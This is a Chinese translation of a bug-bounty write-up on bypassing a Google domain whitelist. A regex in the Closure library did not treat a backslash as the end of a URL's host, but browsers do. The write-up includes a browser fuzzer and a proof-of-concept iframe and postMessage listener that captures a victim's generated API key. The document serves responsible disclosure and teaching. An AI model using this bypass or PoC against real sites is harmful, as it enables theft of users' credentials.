原文:
https://bugs.xdavidhu.me/google/2020/03/08/the-unexpected-google-wide-domain-check-bypass/
这一切始于我在2019年12月坐在36C3的“寒流区”。 我坐在findig的中间,findig是我们试图组织的bug赏金聚会的场所。在经历了可怕的失败之后,我决定坐下来尝试寻找一些错误。我开始查看API文档,以发现一些有趣的新功能。我正在浏览GMail API文档,遇到一个按钮,如果您按一下,它将为您生成一个GMail API密钥:

这看起来很有趣,因为您似乎可以通过使受害者单击链接来执行Google Cloud Console操作。我开始研究。
我发现弹出的这个应用程序称为henhouse。GMmail API文档将henhouse应用程序嵌入为IFrame。这是在iFrame中加载的网址:
https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://developers.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]
如您所见,pb[4]参数中URL是嵌入的https://developers.google.com。
这意味着父页面和子页面IFrame之间存在某种通信。确实是这种情况,因为例如您可以单击Done按钮关闭henhouse窗口并返回文档。经过一些测试,我确认该henhouse应用将postMessages发送到了父域(更准确地说是发送到中指定的域pb[4])。我还发现,如果生成了API密钥/ OAuth客户端ID,它也会通过postMessage发送回父页面。
至此,我已经想到了整个攻击场景。我将henhouse嵌入自己的恶意网站,然后监听postMessage获取受害者的API密钥。因此,我必须将自己的域名放入pb参数中。

嗯..这不是那么容易。
到目前为止,还不确定为什么,但我没有放弃,而是开始对JavaScript进行逆向工程以弄清楚此“白名单”的工作方式。我认为这是我们所有人经常做的事情,当我们的尝试失败时,我们只是认为'Okey,他们当然会考虑这一点。这是受保护的。让我们找一下其他的bug”。好吧,由于某种原因,这一次,我没有这样做。
因此,在经过数小时的混淆JavaScript处理之后,我对白名单的工作原理有了一个了解。我为您制作了一个伪代码版本:
var whitelistedWildcards = ['.corp.google.com', '.c.googlers.com'];
var whitelistedDomains = ['https://devsite.googleplex.com', 'https://developers.google.com','https://cloud-dot-devsite.googleplex.com', 'https://cloud.google.com''https://console.cloud.google.com', 'https://console.developers.google.com'];
var domainURL = URL.params.pb[4];
if (whitelistedDomains.includes(domainURL) || getAuthorityFromMagicRegex(domainURL).endsWith(whitelistedWildcards)) {postMessage("API KEY: " + apikey, domainURL)
绕过whitelistedDomains看起来不可能的东西,但是出于某种原因,我想对它进行更深入的研究whitelistedWildcards。因此,它检查URL的解析权限(域)是否以.corp.google.com或结尾.c.googlers.com
让我们看一下getAuthorityFromMagicRegex函数:
var getAuthorityFromRegex = function(domainURL) {
var magicRegex = /^(?:([^:/?#.]+):)?(?:\/\/(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/;
return magicRegex.match(domainURL)[3]
}
Oof ..那是一个丑陋的正则表达式..里面有什么magicRegex.match(domainURL)[3]?让我们看看如果在JS控制台中的全功能url上尝试此正则表达式会返回什么:
"https://user:pass@test.corp.google.com:8080/path/to/something?param=value#hash".match(magicRegex);
Array(8) [ "https://user:pass@test.corp.google.com:8080/path/to/something?param=value#hash","https", "user:pass", "test.corp.google.com", "8080", "/path/to/something", "param=value", "hash" ]
好的,magicRegex.match(domainURL)[3]匹配了完整域名。再说一次,我通常会在这一点上放弃,不确定我为什么继续。但是我想更深入地研究这个正则表达式。
我将此正则表达式放在www.debuggex.com中。这是一个非常酷的网站,它使正则表达式可视化,您可以实时使用它,并查看匹配如何发生。

我想弄清楚是什么使正则表达式认为域名授权已结束,而端口/路径即将到来。因此,我想弄清楚什么“终结了授权”。
如果放大,可以看到这是我们要寻找的部分:
因此,权限以/ ?或结束,#其后的任何内容都不再是域名。所有这些都是有效的,它们确实“结束”了域。但是我有这样的想法,如果还有其他事情该怎么办?我们需要一个字符,当由浏览器解析时,该字符确实会终止权限,但是当由此正则表达式解析时,该字符不会终止。这将使我们能够绕过检查,因为我们可以做一些以例如结尾的事情.corp.google.com。
像这样:
https://xdavidhu.me[MAGIC_CHARACTER]test.corp.google.com
因此,对于浏览器,权限是xdavidhu.me,但是对于正则表达式,权限是整个内容(以结尾).corp.google.com,因此postMessage允许发送API密钥。
我开始研究HTTP / URL规范,所有这些都非常有趣,并且我鼓励您也探索这些“底层”的知识。我在那儿并没有找到我想要的东西,但是最终要做的是我写了一个JavaScript模糊测试器来测试在实际浏览器中授权的结尾:
var s = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~';
for (var i = 0; i < s.length; i++) {char = s.charAt(i);string = 'https://xdavidhu.me'+char+'.corp.google.com';try {const url = new URL(string);console.log("[+] " + string + " -> " + url.hostname);} catch {console.log("[!] " + string + " -> ERROR");}
}
如您所见,该脚本的作用是循环遍历字符串s,将所有字符一一放置在URL的中间,解析URL并打印域名。
除了许多“无效”结果外,它还产生了4个“有效”结果。它发现了4个字符以结束授权:
[+] https://xdavidhu.me/.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me?.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me#.corp.google.com -> xdavidhu.me
[+] https://xdavidhu.me\.corp.google.com -> xdavidhu.me
这正是我们所需要的!
在浏览器中,除了/,?并且#,\也结束了授权!
我测试了我手头上的3种主要浏览器(Firefox,Chrome,Safari),所有浏览器的结果都相同。
之后,我在Chromium的源代码中找到了这种行为的来源:
bool IsAuthorityTerminator(base::char16 ch) {
return IsURLSlash(ch) || ch == '?' || ch == '#';
}
再说一次,我总是“害怕”深入研究,并且从未考虑过浏览器的源代码,但是经过一番浏览之后,您意识到该代码也只是代码,您可以了解如何有用。这是超级而有趣的,并且在许多情况下确实很有帮助。我本可以查看源代码才能找到此错误,而跳过整个模糊测试部分。
使用此错误,我们可以在JS控制台中演示漏洞利用:
// Regex parsing
"https://user:pass@xdavidhu.me\\test.corp.google.com:8080/path/to/something?param=value#hash".match(magicRegex)
Array(8) [ "https://user:pass@xdavidhu.me\\test.corp.google.com:8080/path/to/something?param=value#hash","https", "user:pass", "xdavidhu.me\\test.corp.google.com", "8080", "/path/to/something", "param=value", "hash" ]
// Browser parsing
new URL("https://user:pass@xdavidhu.me\\test.corp.google.com:8080/path/to/something?param=value#hash")
URL { href: "https://user:pass@xdavidhu.me/test.corp.google.com:8080/path/to/something?param=value#hash",origin: "https://xdavidhu.me", protocol: "https:", username: "user", password: "pass", host: "xdavidhu.me",hostname: "xdavidhu.me", port: "", pathname: "/test.corp.google.com:8080/path/to/something", search: "?param=value" }
我们可以看到它可以按预期的方式工作,因此我们可以制作一个POC,该POC将嵌入henhouse并获取受害者的API密钥。
<iframe id="test" src='https://console.developers.google.com/henhouse/?pb=["hh-0","gmail",null,[],"https://xdavidhu.me\\test.corp.google.com",null,[],null,"Create API key",0,null,[],false,false,null,null,null,null,false,null,false,false,null,null,null,null,null,"Quickstart",true,"Quickstart",null,null,false]'></iframe>
<script>
window.addEventListener('message', function (d) {console.log(d.data);if(d.data[1] == "apikey-credential"){var h1 = document.createElement('h1');h1.innerHTML = "Your API key: " + d.data[2];document.body.appendChild(h1);}
});
</script>
这是我发送给Google的POC视频,展示了该视频的实际效果:
https://youtu.be/F4DhJDV5sDs
在这一点上,我有点说不清的感觉,因为这影响很小。您只能“窃取” API密钥或OAuth客户端ID。没有机密的Cliend ID是meh,如果您想为已付费(带有必需的账单)的API生成API密钥,则需要用户交互。因此,从本质上讲,这是一个相当低/中等影响的错误。
然后我想到了这个正则表达式只是为henhouse创建的,那么也太费力了。
我开始在其他Google产品中寻找这个JS文件,是的,这个正则表达式无处不在。我在Google Cloud Console的JS,Google Actions Console的JS,YouTube Studio中,myaccount.google.com(!)甚至某些Google Android Apps中都找到了此正则表达式。
一天后,我什至在Google Corp登录页(login.corp.google.com)中找到了以下行:
var goog$uri$utils$splitRe_ = [THE_MAGIC_REGEX],
在此之后,我确定这会比更大henhouse。将此正则表达式用于具有类似“ ends-with”逻辑的域验证的任何地方,都可以使用\字符来绕过它。
报告后两天,我收到了以下回复:

几周后,我观看了LiveOverFlow的“ Google Search上的XSS”视频,他在视频中提到“但是Google的JavaScript代码实际上是开源的!”。然后他展示了“ Google的通用JavaScript库”,即Closure库。
我立刻想:“等一下,我在这个库中发现错误了吗?”
我迅速打开了Closure库GitHub存储库,并查看了提交。而这是我发现:

进行此更改:

就是我!:D
因此,如果我试图绕过小型应用程序的URL验证并无意间在Google的通用JavaScript库中发现错误,那么这就是故事!希望您喜欢!
您可以在Twitter上关注我:@xdavidhu
时间线:
[2020年1月4日]-报告了错误
[2020年1月6日]-初步分类
[2020年1月6日]-错误被接受(P4-> P1)
[2020年1月17日]-奖励$ 6000美元
[2020年3月6日] -修正错误
本文迁移自知识星球“火线Zone”